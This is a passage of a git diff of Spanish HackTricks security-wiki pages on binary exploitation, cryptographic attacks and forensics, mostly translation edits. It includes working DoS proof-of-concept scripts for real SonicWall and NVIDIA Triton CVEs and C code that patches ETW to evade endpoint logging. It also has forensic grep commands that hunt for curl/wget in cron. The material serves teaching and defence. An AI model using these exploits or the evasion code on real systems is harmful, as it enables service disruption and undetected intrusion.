**AArch64** utiliza direccionamiento *relativo al PC*, esto suele ser más conveniente que construir grandes cadenas ROP. + +## Validación del kernel, PAC y Shadow-Stacks + +Linux 5.16 introdujo una validación más estricta de los marcos de señal del espacio de usuario (commit `36f5a6c73096`). El kernel ahora verifica: + +* `uc_flags` debe contener `UC_FP_XSTATE` cuando `extra_context` está presente. +* La palabra reservada en `struct rt_sigframe` debe ser cero. +* Cada puntero en el registro *extra_context* está alineado y apunta dentro del espacio de direcciones del usuario. + +`pwntools>=4.10` crea marcos compatibles automáticamente, pero si los construyes manualmente, asegúrate de inicializar en cero *reserved* y omitir el registro SVE a menos que realmente lo necesites; de lo contrario, `rt_sigreturn` entregará `SIGSEGV` en lugar de retornar. + +A partir de Android 14 y Fedora 38, el espacio de usuario se compila con **PAC** (*Pointer Authentication*) y **BTI** habilitados por defecto (`-mbranch-protection=standard`). *SROP* en sí no se ve afectado porque el kernel sobrescribe `PC` directamente desde el marco creado, eludiendo el LR autenticado guardado en la pila; sin embargo, cualquier **cadena ROP subsiguiente** que realice saltos indirectos debe saltar a instrucciones habilitadas para BTI o direcciones PACed. Ten esto en cuenta al elegir gadgets. + +Los Shadow-Call-Stacks introducidos en ARMv8.9 (y ya habilitados en ChromeOS 1.27+) son una mitigación a nivel de compilador y *no* interfieren con SROP porque no se ejecutan instrucciones de retorno; el flujo de control es transferido por el kernel. + +## Referencias + +* [Documentación sobre el manejo de señales en Linux arm64](https://docs.kernel.org/arch/arm64/signal.html) +* [LWN – "La protección de ramas AArch64 llega a GCC y glibc" (2023)](https://lwn.net/Articles/915041/) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index eb2330219..8b9d5fe0c 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -59,6 +59,7 @@ Sin embargo, en otros escenarios, tal vez solo **sobrescribir algunos valores de En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estaría deshabilitado) para que cuando la función vulnerable regrese, se llame a la función oculta: + {{#ref}} ret2win/ {{#endref}} @@ -67,6 +68,7 @@ ret2win/ En este escenario, el atacante podría colocar un shellcode en la pila y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario: + {{#ref}} stack-shellcode/ {{#endref}} @@ -75,6 +77,7 @@ stack-shellcode/ Esta técnica es el marco fundamental para eludir la principal protección de la técnica anterior: **Pila no ejecutable (NX)**. Y permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios al abusar de instrucciones existentes en el binario: + {{#ref}} ../rop-return-oriented-programing/ {{#endref}} @@ -83,6 +86,7 @@ Esta técnica es el marco fundamental para eludir la principal protección de la Un desbordamiento no siempre va a estar en la pila, también podría estar en el **heap**, por ejemplo: + {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} @@ -91,8 +95,98 @@ Un desbordamiento no siempre va a estar en la pila, también podría estar en el Hay varias protecciones que intentan prevenir la explotación de vulnerabilidades, consúltalas en: + {{#ref}} ../common-binary-protections-and-bypasses/ {{#endref}} +### Ejemplo del mundo real: CVE-2025-40596 (SonicWall SMA100) + +Una buena demostración de por qué **`sscanf` nunca debería ser confiado para analizar entradas no confiables** apareció en 2025 en el dispositivo SSL-VPN SMA100 de SonicWall. +La rutina vulnerable dentro de `/usr/src/EasyAccess/bin/httpd` intenta extraer la versión y el punto final de cualquier URI que comience con `/__api__/`: +```c +char version[3]; +char endpoint[0x800] = {0}; +/* simplified proto-type */ +sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); +``` +1. La primera conversión (`%2s`) almacena de manera segura **dos** bytes en `version` (por ejemplo, `"v1"`). +2. La segunda conversión (`%s`) **no tiene especificador de longitud**, por lo tanto `sscanf` seguirá copiando **hasta el primer byte NUL**. +3. Debido a que `endpoint` se encuentra en la **pila** y tiene **0x800 bytes de largo**, proporcionar una ruta más larga que 0x800 bytes corrompe todo lo que se encuentra después del búfer ‑ incluyendo el **stack canary** y la **dirección de retorno guardada**. + +Una prueba de concepto de una sola línea es suficiente para provocar el fallo **antes de la autenticación**: +```python +import requests, warnings +warnings.filterwarnings('ignore') +url = "https://TARGET/__api__/v1/" + "A"*3000 +requests.get(url, verify=False) +``` +Aunque los canarios de pila abortan el proceso, un atacante aún obtiene un **Denial-of-Service** primitivo (y, con filtraciones de información adicionales, posiblemente ejecución de código). La lección es simple: + +* Siempre proporciona un **ancho máximo de campo** (por ejemplo, `%511s`). +* Prefiere alternativas más seguras como `snprintf`/`strncpy_s`. + +### Ejemplo del Mundo Real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) + +El servidor de inferencia Triton de NVIDIA (≤ v25.06) contenía múltiples **desbordamientos basados en pila** accesibles a través de su API HTTP. +El patrón vulnerable apareció repetidamente en `http_server.cc` y `sagemaker_server.cc`: +```c +int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); +if (n > 0) { +/* allocates 16 * n bytes on the stack */ +struct evbuffer_iovec *v = (struct evbuffer_iovec *) +alloca(sizeof(struct evbuffer_iovec) * n); +... +} +``` +1. `evbuffer_peek` (libevent) devuelve el **número de segmentos de buffer internos** que componen el cuerpo de la solicitud HTTP actual. +2. Cada segmento provoca que se asigne un **`evbuffer_iovec` de 16 bytes** en la **pila** a través de `alloca()` – **sin ningún límite superior**. +3. Al abusar de **HTTP _chunked transfer-encoding_**, un cliente puede forzar que la solicitud se divida en **cientos de miles de fragmentos de 6 bytes** (`"1\r\nA\r\n"`). Esto hace que `n` crezca sin límites hasta que la pila se agote. + +#### Prueba de Concepto (DoS) +```python +#!/usr/bin/env python3 +import socket, sys + +def exploit(host="localhost", port=8000, chunks=523_800): +s = socket.create_connection((host, port)) +s.sendall(( +f"POST /v2/models/add_sub/infer HTTP/1.1\r\n" +f"Host: {host}:{port}\r\n" +"Content-Type: application/octet-stream\r\n" +"Inference-Header-Content-Length: 0\r\n" +"Transfer-Encoding: chunked\r\n" +"Connection: close\r\n\r\n" +).encode()) + +for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc +s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x +s.sendall(b"0\r\n\r\n") # end of chunks +s.close() + +if __name__ == "__main__": +exploit(*sys.argv[1:]) +``` +Una solicitud de ~3 MB es suficiente para sobrescribir la dirección de retorno guardada y **crash** el daemon en una construcción por defecto. + +#### Patch & Mitigation +La versión 25.07 reemplaza la asignación de pila insegura con un **`std::vector` respaldado por heap** y maneja de manera elegante `std::bad_alloc`: +```c++ +std::vector v_vec; +try { +v_vec = std::vector(n); +} catch (const std::bad_alloc &e) { +return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); +} +struct evbuffer_iovec *v = v_vec.data(); +``` +Lecciones aprendidas: +* Nunca llames a `alloca()` con tamaños controlados por el atacante. +* Las solicitudes en fragmentos pueden cambiar drásticamente la forma de los buffers del lado del servidor. +* Valida / limita cualquier valor derivado de la entrada del cliente *antes* de usarlo en asignaciones de memoria. + +## Referencias +* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) +* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index 3974e26d8..fec92b18b 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -4,7 +4,7 @@ ## Información Básica -Los desafíos de **Ret2win** son una categoría popular en las competiciones de **Capture The Flag (CTF)**, particularmente en tareas que involucran **explotación binaria**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica, no invocada, dentro del binario, a menudo llamada algo como `win`, `flag`, etc. Esta función, cuando se ejecuta, generalmente imprime una bandera o un mensaje de éxito. El desafío típicamente implica sobrescribir la **dirección de retorno** en la pila para desviar el flujo de ejecución a la función deseada. Aquí hay una explicación más detallada con ejemplos: +Los desafíos de **Ret2win** son una categoría popular en las competiciones de **Capture The Flag (CTF)**, particularmente en tareas que involucran **binary exploitation**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica, no invocada dentro del binario, a menudo llamada algo como `win`, `flag`, etc. Esta función, cuando se ejecuta, generalmente imprime una bandera o un mensaje de éxito. El desafío típicamente implica sobrescribir la **dirección de retorno** en la pila para desviar el flujo de ejecución a la función deseada. Aquí hay una explicación más detallada con ejemplos: ### Ejemplo en C @@ -27,7 +27,7 @@ vulnerable_function(); return 0; } ``` -Para compilar este programa sin protecciones de pila y con **ASLR** desactivado, puedes usar el siguiente comando: +Para compilar este programa sin protecciones de pila y con **ASLR** deshabilitado, puedes usar el siguiente comando: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` @@ -100,6 +100,7 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce ## Ejemplo ARM64 + {{#ref}} ret2win-arm64.md {{#endref}} diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 7c32fe9a4..a8bfd5f36 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -55,7 +55,7 @@ pattern search $x30 ### Opción de desplazamiento de pila -Comience por obtener la dirección de la pila donde se almacena el registro pc: +Comience obteniendo la dirección de la pila donde se almacena el registro pc: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc @@ -144,7 +144,7 @@ Puedes encontrar otro ejemplo de off-by-one en ARM64 en [https://8ksec.io/arm64- ### Off-by-2 -Sin un leak no sabemos la dirección exacta de la función ganadora, pero podemos conocer el desplazamiento de la función desde el binario y sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible filtrar el desplazamiento a la función win (**0x7d4**) en este caso y simplemente usar ese desplazamiento: +Sin un leak no sabemos la dirección exacta de la función ganadora, pero podemos conocer el desplazamiento de la función desde el binario y sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible obtener el desplazamiento a la función win (**0x7d4**) en este caso y simplemente usar ese desplazamiento:
```python diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index 039cdf8bb..a57f39a65 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -12,7 +12,7 @@ mov rsp, rbp ; mov esp, ebp on x86 pop rbp ; pop ebp on x86 ret ``` -Y dado que el **EBP/RBP guardado está en la pila** antes del EIP/RIP guardado, es posible controlarlo al controlar la pila. +Y como el **EBP/RBP guardado está en la pila** antes del EIP/RIP guardado, es posible controlarlo al controlar la pila. > Notas > - En 64 bits, reemplaza EBP→RBP y ESP→RSP. La semántica es la misma. @@ -41,9 +41,9 @@ Recuerda que antes de cualquiera de estas direcciones en el área controlada, de #### Exploit Off-By-One -Hay una variante utilizada cuando solo puedes **modificar el byte menos significativo del EBP/RBP guardado**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con **`ret`** debe compartir los primeros tres/cinco bytes con el EBP/RBP original para que una sobrescritura de 1 byte pueda redirigirlo. Generalmente, el byte bajo (offset 0x00) se incrementa para saltar lo más lejos posible dentro de una página/región alineada cercana. +Hay una variante utilizada cuando solo puedes **modificar el byte menos significativo del EBP/RBP guardado**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con **`ret`** debe compartir los primeros tres/cinco bytes con el EBP/RBP original para que una sobrescritura de 1 byte pueda redirigirlo. Usualmente, el byte bajo (offset 0x00) se incrementa para saltar lo más lejos posible dentro de una página/región alineada cercana. -También es común usar un RET sled en la pila y colocar la verdadera cadena ROP al final para hacer más probable que el nuevo RSP apunte dentro del sled y se ejecute la cadena ROP final. +También es común usar un RET sled en la pila y poner la verdadera cadena ROP al final para hacer más probable que el nuevo RSP apunte dentro del sled y se ejecute la cadena ROP final. ### Encadenamiento de EBP @@ -130,7 +130,7 @@ En amd64, a menudo verás `pop rbp ; ret` en lugar de `leave ; ret`, pero si el ### Gadget `pop rsp` -[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para ese desafío era necesario llamar a una función con 2 argumentos específicos, y había un **gadget `pop rsp`** y hay una **fuga de la pila**: +[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para ese desafío, era necesario llamar a una función con 2 argumentos específicos, y había un **gadget `pop rsp`** y hay una **fuga de la pila**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments @@ -190,7 +190,7 @@ Consulta la técnica ret2esp aquí: ### Encontrar gadgets de pivote rápidamente -Utiliza tu buscador de gadgets favorito para buscar primitivas de pivote clásicas: +Usa tu buscador de gadgets favorito para buscar primitivas de pivote clásicas: - `leave ; ret` en funciones o en bibliotecas - `pop rsp` / `xchg rax, rsp ; ret` @@ -220,6 +220,7 @@ Las CPUs y sistemas operativos x86 modernos implementan cada vez más **CET Shad - Para más información y detalles más profundos, consulta: + {{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md {{#endref}} @@ -239,10 +240,10 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr (gdb) checksec ``` - Notas para labs/CTF: -- Algunas distribuciones modernas habilitan SHSTK para binarios habilitados para CET cuando hay soporte de hardware y glibc. Para pruebas controladas en VMs, SHSTK se puede deshabilitar a nivel de sistema mediante el parámetro de arranque del kernel `nousershstk`, o habilitar selectivamente a través de configuraciones de glibc durante el inicio (ver referencias). No deshabilites mitigaciones en objetivos de producción. +- Algunas distribuciones modernas habilitan SHSTK para binarios habilitados para CET cuando hay soporte de hardware y glibc. Para pruebas controladas en VMs, SHSTK se puede deshabilitar a nivel del sistema mediante el parámetro de arranque del kernel `nousershstk`, o habilitar selectivamente a través de configuraciones de glibc durante el inicio (ver referencias). No deshabilites mitigaciones en objetivos de producción. - Las técnicas basadas en JOP/COOP o SROP podrían seguir siendo viables en algunos objetivos, pero SHSTK rompe específicamente los pivotes basados en `ret`. -- Nota de Windows: Windows 10+ expone el modo de usuario y Windows 11 añade "Protección de Pila Forzada por Hardware" en modo kernel construida sobre pilas sombra. Los procesos compatibles con CET previenen el pivoteo de pila/ROP en `ret`; los desarrolladores optan por ello a través de CETCOMPAT y políticas relacionadas (ver referencia). +- Nota de Windows: Windows 10+ expone el modo de usuario y Windows 11 añade "Protección de Pila Forzada por Hardware" en modo kernel, construida sobre pilas sombra. Los procesos compatibles con CET previenen el pivoteo de pila/ROP en `ret`; los desarrolladores optan por ello a través de CETCOMPAT y políticas relacionadas (ver referencia). ## ARM64 @@ -267,10 +268,11 @@ ret ``` > [!CAUTION] -> La forma de realizar algo similar al pivoteo de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP` controlado** y **`RET`** a él. +> La forma de realizar algo similar al pivoteo de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP`** controlado y **`RET`** a él. También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64**: + {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} @@ -282,7 +284,7 @@ También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64 - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64 bits, explotación off by one con una cadena rop comenzando con un ret sled - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) -- 64 bits, sin relro, canary, nx y pie. El programa otorga un leak para pila o pie y un WWW de un qword. Primero obtén el leak de la pila y usa el WWW para volver y obtener el leak del pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en la .bss y se termina llamándola pivotando con RBP. +- 64 bits, sin relro, canary, nx y pie. El programa otorga un leak para stack o pie y un WWW de un qword. Primero obtén el leak de la pila y usa el WWW para volver y obtener el leak del pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en la .bss y se termina llamándola pivotando con RBP. - Documentación del kernel de Linux: Tecnología de Aplicación de Control de Flujo (CET) Pila Sombra — detalles sobre SHSTK, `nousershstk`, banderas de `/proc/$PID/status`, y habilitación a través de `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Protección de Pila Forzada por Hardware en Modo Kernel (pilas sombra CET en Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index 0c75386a5..019334c6c 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -66,7 +66,7 @@ p.send(payload) # Drop to an interactive session p.interactive() ``` -La única cosa "complicada" de encontrar aquí sería la dirección en la pila a la que llamar. En mi caso, generé el exploit con la dirección encontrada usando gdb, pero luego, al explotarlo, no funcionó (porque la dirección de la pila cambió un poco). +Lo único "complicado" que hay que encontrar aquí sería la dirección en la pila a la que llamar. En mi caso, generé el exploit con la dirección encontrada usando gdb, pero luego, al explotarlo, no funcionó (porque la dirección de la pila cambió un poco). Abrí el archivo **`core`** generado (`gdb ./bog ./core`) y verifiqué la dirección real del inicio del shellcode. diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 61c3ed755..4cc608aaf 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -1,4 +1,4 @@ -# Ataque de Extensión de Longitud de Hash +# Hash Length Extension Attack {{#include ../banners/hacktricks-training.md}} @@ -9,9 +9,9 @@ Imagina un servidor que está **firmando** algunos **datos** al **agregar** un * - **La longitud del secreto** (esto también se puede forzar mediante fuerza bruta desde un rango de longitud dado) - **Los datos de texto claro** - **El algoritmo (y es vulnerable a este ataque)** -- **El relleno es conocido** +- **El padding es conocido** - Generalmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, este también lo es -- El relleno varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto +- El padding varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**. @@ -20,12 +20,12 @@ Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash** **creado previamente** (estado), **agregan el siguiente bloque de datos** y **lo hashean**. Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\ -Si un atacante quiere agregar la cadena "agregar" puede: +Si un atacante quiere agregar la cadena "agregar", puede: - Generar un MD5 de 64 "A"s - Cambiar el estado del hash previamente inicializado a 6036708eba0d11f6ef52ad44e8b74d5b - Agregar la cadena "agregar" -- Terminar el hash y el hash resultante será un **válido para "secreto" + "datos" + "relleno" + "agregar"** +- Terminar el hash y el hash resultante será un **válido para "secreto" + "datos" + "padding" + "agregar"** ### **Herramienta** diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index bd67f5b79..59cefa153 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,13 +1,17 @@ +# RC4 Encrypt and Decrypt + {{#include ../banners/hacktricks-training.md}} Si puedes de alguna manera cifrar un texto plano usando RC4, puedes descifrar cualquier contenido cifrado por ese RC4 (usando la misma contraseña) solo utilizando la función de cifrado. Si puedes cifrar un texto plano conocido, también puedes extraer la contraseña. Más referencias se pueden encontrar en la máquina HTB Kryptos: + {{#ref}} https://0xrick.github.io/hack-the-box/kryptos/ {{#endref}} + {{#ref}} https://0xrick.github.io/hack-the-box/kryptos/ {{#endref}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md index 3455e9ba2..51b806811 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md @@ -38,7 +38,7 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Inspección profunda de tipos de archivos específicos y Software +## Inspección Profunda de Tipos de Archivos Específicos y Software Si tienes un **archivo** muy **sospechoso**, entonces **dependiendo del tipo de archivo y del software** que lo creó, varios **trucos** pueden ser útiles.\ Lee la siguiente página para aprender algunos trucos interesantes: diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md index 6cb658bf6..195dabaaa 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md @@ -2,14 +2,14 @@ {{#include ../../banners/hacktricks-training.md}} -## Tiempos +## Timestamps Un atacante puede estar interesado en **cambiar las marcas de tiempo de los archivos** para evitar ser detectado.\ Es posible encontrar las marcas de tiempo dentro del MFT en los atributos `$STANDARD_INFORMATION` \_\_ y \_\_ `$FILE_NAME`. Ambos atributos tienen 4 marcas de tiempo: **Modificación**, **acceso**, **creación** y **modificación del registro MFT** (MACE o MACB). -**Explorador de Windows** y otras herramientas muestran la información de **`$STANDARD_INFORMATION`**. +**Windows explorer** y otras herramientas muestran la información de **`$STANDARD_INFORMATION`**. ### TimeStomp - Herramienta anti-forense @@ -77,11 +77,11 @@ Estas distribuciones se **ejecutan dentro de la memoria RAM**. La única forma d ## Configuración de Windows -Es posible deshabilitar varios métodos de registro de Windows para hacer que la investigación forense sea mucho más difícil. +Es posible deshabilitar varios métodos de registro de Windows para dificultar mucho la investigación forense. ### Deshabilitar Marcas de Tiempo - UserAssist -Esta es una clave de registro que mantiene las fechas y horas en que cada ejecutable fue ejecutado por el usuario. +Esta es una clave de registro que mantiene fechas y horas cuando cada ejecutable fue ejecutado por el usuario. Deshabilitar UserAssist requiere dos pasos: @@ -174,7 +174,7 @@ Los defensores deben monitorear los cambios en esas claves del registro y la eli ### Parche ETW (Event Tracing for Windows) -Los productos de seguridad de endpoints dependen en gran medida de ETW. Un método de evasión popular en 2024 es parchear `ntdll!EtwEventWrite`/`EtwEventWriteFull` en memoria para que cada llamada a ETW devuelva `STATUS_SUCCESS` sin emitir el evento: +Los productos de seguridad de endpoints dependen en gran medida de ETW. Un método de evasión popular de 2024 es parchear `ntdll!EtwEventWrite`/`EtwEventWriteFull` en memoria para que cada llamada a ETW devuelva `STATUS_SUCCESS` sin emitir el evento: ```c // 0xC3 = RET on x64 unsigned char patch[1] = { 0xC3 }; @@ -184,7 +184,7 @@ patch, sizeof(patch), NULL); ``` Public PoCs (por ejemplo, `EtwTiSwallow`) implementan la misma primitiva en PowerShell o C++. Debido a que el parche es **local al proceso**, los EDR que se ejecutan dentro de otros procesos pueden pasarlo por alto. -Detección: comparar `ntdll` en memoria vs. en disco, o enganchar antes del modo de usuario. +Detección: comparar `ntdll` en memoria vs. en disco, o enganchar antes del modo usuario. ### Revitalización de Flujos de Datos Alternativos (ADS) @@ -242,15 +242,15 @@ Forense/caza consejos - RHEL/CentOS: `rpm -Va 'activemq*'` - Busque versiones de JAR presentes en el disco que no sean propiedad del gestor de paquetes, o enlaces simbólicos actualizados fuera de banda. - Línea de tiempo: `find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort` para correlacionar ctime/mtime con la ventana de compromiso. -- Historial de shell/telemetría de procesos: evidencia de `curl`/`wget` a `repo1.maven.org` u otros CDNs de artefactos inmediatamente después de la explotación inicial. +- Historial de shell/telemetría de procesos: evidencia de `curl`/`wget` a `repo1.maven.org` u otros CDN de artefactos inmediatamente después de la explotación inicial. - Gestión de cambios: valide quién aplicó el “parche” y por qué, no solo que una versión parcheada esté presente. -### C2 de servicio en la nube con tokens portadores y stagers anti-análisis -El comercio observado combinó múltiples rutas C2 de largo recorrido y empaquetado anti-análisis: +### C2 de servicio en la nube con tokens de portador y stagers anti-análisis +El comercio observado combinó múltiples rutas C2 de largo alcance y empaquetado anti-análisis: - Cargadores ELF de PyInstaller protegidos por contraseña para dificultar el sandboxing y el análisis estático (por ejemplo, PYZ cifrado, extracción temporal bajo `/_MEI*`). - Indicadores: hits de `strings` como `PyInstaller`, `pyi-archive`, `PYZ-00.pyz`, `MEIPASS`. - Artefactos en tiempo de ejecución: extracción a `/tmp/_MEI*` o rutas personalizadas `--runtime-tmpdir`. -- C2 respaldado por Dropbox utilizando tokens OAuth Bearer codificados. +- C2 respaldado por Dropbox utilizando tokens de portador OAuth codificados. - Marcadores de red: `api.dropboxapi.com` / `content.dropboxapi.com` con `Authorization: Bearer `. - Cace en proxy/NetFlow/Zeek/Suricata para HTTPS saliente a dominios de Dropbox desde cargas de trabajo de servidor que normalmente no sincronizan archivos. - C2 paralelo/respaldo a través de túneles (por ejemplo, Cloudflare Tunnel `cloudflared`), manteniendo el control si un canal es bloqueado. @@ -265,7 +265,7 @@ for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null ``` - Rollback de endurecimiento de configuración SSH: habilitar inicios de sesión de root y alterar shells predeterminados para cuentas de bajo privilegio. -- Cace para habilitar inicios de sesión de root: +- Cace para habilitar el inicio de sesión de root: ```bash grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config # valores de bandera como "yes" o configuraciones excesivamente permisivas @@ -285,12 +285,12 @@ Los defensores deben correlacionar estos artefactos con la exposición externa y ## Referencias -- Sophos X-Ops – “AuKill: Un controlador vulnerable armado para deshabilitar EDR” (marzo de 2023) +- Sophos X-Ops – “AuKill: A Weaponized Vulnerable Driver for Disabling EDR” (marzo de 2023) https://news.sophos.com/en-us/2023/03/07/aukill-a-weaponized-vulnerable-driver-for-disabling-edr -- Red Canary – “Parcheando EtwEventWrite para sigilo: Detección y Caza” (junio de 2024) +- Red Canary – “Patching EtwEventWrite for Stealth: Detection & Hunting” (junio de 2024) https://redcanary.com/blog/etw-patching-detection -- [Red Canary – Parcheando para persistencia: Cómo el malware DripDropper de Linux se mueve a través de la nube](https://redcanary.com/blog/threat-intelligence/dripdropper-linux-malware/) +- [Red Canary – Patching for persistence: How DripDropper Linux malware moves through the cloud](https://redcanary.com/blog/threat-intelligence/dripdropper-linux-malware/) - [CVE‑2023‑46604 – Apache ActiveMQ OpenWire RCE (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index 52732eabb..20005a366 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -132,7 +132,7 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` -## Buscar malware conocido +## Buscar Malware conocido ### Archivos del sistema modificados @@ -153,7 +153,7 @@ malware-analysis.md Para buscar de manera efectiva programas instalados en sistemas Debian y RedHat, considera aprovechar los registros del sistema y bases de datos junto con verificaciones manuales en directorios comunes. -- Para Debian, inspecciona _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica. +- Para Debian, inspecciona _**`/var/lib/dpkg/status`**_ y 